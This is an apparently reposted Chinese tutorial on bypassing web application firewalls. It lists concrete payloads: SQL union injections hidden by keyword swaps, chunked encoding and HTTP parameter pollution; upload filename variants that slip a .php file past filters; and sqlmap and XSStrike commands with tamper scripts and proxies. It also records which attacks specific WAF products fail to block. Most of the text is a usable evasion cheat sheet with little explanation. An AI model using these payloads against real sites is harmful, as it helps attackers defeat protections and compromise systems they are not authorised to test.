2-WAF主要过滤方式及绕过(HPP污染&分块传输&垃圾数据)

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2-WAF主要过滤方式及绕过(HPP污染&分块传输&垃圾数据)相关的知识,希望对你有一定的参考价值。

参考技术A 1、速度流量问题
2、工具的指纹被识别
3、工具的检测Poc或Payload

1、SQL注入&文件上传绕过
2、XSS跨站&其他漏洞绕过
3、HPP污染&垃圾数据&分块等

SQL注入 https://www.cnblogs.com/cute-puli/p/11146625.html
关键字替换
http://192.168.0.100:8081/sqlilabs/Less-2/?id=1 like 1
http://192.168.0.100:8081/sqlilabs/Less-2/?id=1 like 12
更换提交方式:
POST id=-1 union select 1,2,3--+
模拟文件上传 传递数据
分块传输:更改数据请求格式
https://github.com/c0ny1/chunked-coding-converter
HPP参数污染:id=1/* &id=-1%20union%20select%201,2,3%23 /

文件上传:换行解析&垃圾溢出&%00干扰&=符号干扰&参数模拟
filename=a.php
filename="a.php
filename="a.php%00"
垃圾数据;filename="a.php"
无限filename;filename="a.php"
filename=="a.php"
filename="name='uploadfile.php"
filename="Content-Disposition: form-data.php"
filename=="a.ph
p"

python sqlmap.py -u " http://test.xiaodi8.com/pikachu/vul/sqli/sqli_str.php?name=*&submit=%E6%9F%A5%E8%AF%A2 " --random-agent --tamper= rdog.py --proxy=" http://tps118.kdlapi.com:15818 "
格式替换

https://github.com/s0md3v/XSStrike
python xsstrike.py -u " http://test.xiaodi8.com/pikachu/vul/xss/xss_reflected_get.php?message=1&submit=submit " --proxy
txt= y);&submit=%E6%8F%90%E4%BA%A4
文件包含:没什么好说的就这几种
..\ ..../ ...\等

安全狗:
注入 xss 文件上传拦截
rce 文件包含 等其他不拦截

宝塔:
注入 上传拦截
rce 文件包含 xss等其他不拦截
其中拦截的是关键字

aliyun
拦截的CC速度 和 后门 信息收集和权限维持阶段拦截
漏洞利用 他不拦截 默认的版本(升级版本没测试)

WAF PHP环境 JAVA不支持

HTTP参数污染

 HTTP Parameter Pollution简称HPP,所以有的人也称之为“HPP参数污染”。

一篇很不错关于HPP参数污染的文章:http://www.paigu.com/a/33478/23535461.html

如文章中所言,HPP并非一个漏洞,但是网站存在SQL或者XSS,在有WAF的情况之下可以帮助黑客进行绕过WAF。

 

那么什么是HPP参数污染呢?


假设这个URL:http://www.xxxx.com/search.php?id=110&id=911

百度会理解成让百度搜索:110                 #选择了第一个参数,放弃了第二个参数。

雅虎会理解成让雅虎搜索:911            #选择了第二个参数,放弃了第一个参数。

谷歌会理解成让谷歌搜索:110 911         #两个参数同时选择。

主要的就是这三种情况了。

这主要是源于,不同的网站对处理参数的处理方式不同。PS:跟米哥一起学习的,总结米哥的,感觉我总结的还是欠妥当。

 

那么注入是怎么跟HTTP污染产生关系的呢?


倘若是第三种情况,也就是第一个参数取第二个参数也取。那么大家请看下面的URL

http://www.xishaonian.com/hello.php?id=select 1&id=2,3,3 from admin

该种情况还可用于Bypass WAF.

当然还可以与XSS结合。

 

 

具体服务端处理方式如下:

Web服务器

参数获取函数

获取到的参数

PHP/Apache

$_GET(“par”)

Last

JSP/Tomcat

Request.getParameter(“par”)

First

Perl(CGI)/Apache

Param(“par”)

First

Python/Apache

Getvalue(“par”)

All(List)

ASP/IIS

Request.QueryString(“par”)

All(comma-delimited string)

以上是关于2-WAF主要过滤方式及绕过(HPP污染&分块传输&垃圾数据)的主要内容,如果未能解决你的问题,请参考以下文章

HTTP参数污染

web安全CRLF注入&HPP参数污染&URL重定向

WAF绕过—SQL注入

高级SQL注入:混淆和绕过

360面试——安全工程师

HPP注入详解